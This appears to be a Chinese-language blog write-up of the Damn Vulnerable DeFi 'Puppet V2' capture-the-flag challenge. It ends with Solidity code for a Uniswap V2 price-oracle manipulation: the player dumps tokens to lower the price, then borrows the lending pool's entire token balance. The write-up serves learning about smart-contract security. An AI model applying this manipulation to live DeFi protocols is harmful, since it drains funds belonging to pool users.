banner
zach

zach

github
twitter
medium

damn-vulnerable-defi | PuppetV2

Challenge #9 - Puppet V2#

为了系统的学习 solidity 和 foundry,我基于 foundry 测试框架重新编写 damnvulnerable-defi 的题解,欢迎交流和共建~🎉

合约#

  • PuppetV2Pool: 提供 borrow 方法,用 weth 换出 token,token 价格来自于 uniswap 的报价
  • Uniswap-v2 相关合约

测试#

  • 部署 weth 和 token 合约
  • 部署 uniswap factory、router、pair 合约
  • 通过与 router 合约交互注入流动性,token 数目:UNISWAP_INITIAL_TOKEN_RESERVE,eth 数目:UNISWAP_INITIAL_WETH_RESERVE
  • 部署 puppetV2Pool 合约,向 player 和 pool 中分别转入 PLAYER_INITIAL_TOKEN_BALANCE 和 POOL_INITIAL_TOKEN_BALANCE 数目的 token
  • 执行测试脚本
  • 期望 pool 中的 token 余额为 0,player 的 token 余额大于 POOL_INITIAL_TOKEN_BALANCE

题解#

这道题的攻击思路和 Puppet- v1 的思路类似,仍然是利用 uniswap 价格预言机对 pool 进行攻击,

值得注意的是这里使用的都是 uniswap-v2,在 v2 中使用的是 token 和 weth 的代币对,但是 player 用户开始只有 eth,需要与 weth 合约进行交互

完整的攻击流程如下图所示:

  • 第一步:通过调用swapExactTokensForTokens 将 player 账户中的全部 token 换成 weth,从而降低 token 在 uniswap 中的单价
  • 第二步:计算借出池子中的全部 token 需要花费多少 weth,在经过第一步后已经拿到一部分 weth,再通过质押 eth 补齐剩余的 weth
  • 第三步:调用池子的borrow 方法,将 pool 中的全部 token 借出
  • 第四步:(本题未做要求,可以将 weth 放入池子中,补足池子中的差价)

image

完整的步骤代码示例如下:

token.approve(address(uniswapV2Router), PLAYER_INITIAL_TOKEN_BALANCE);
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(weth);
// swap token to weth
uniswapV2Router.swapExactTokensForTokens(
    PLAYER_INITIAL_TOKEN_BALANCE, // amount in
    1,                            // amount out min
    path,                         // path
    address(player),              // to
    block.timestamp*2             // deadline
);
uint256 value = pool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
uint256 depositValue = value - weth.balanceOf(address(player));
weth.deposit{value: depositValue}();
weth.approve(address(pool), value);
pool.borrow(POOL_INITIAL_TOKEN_BALANCE);
加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。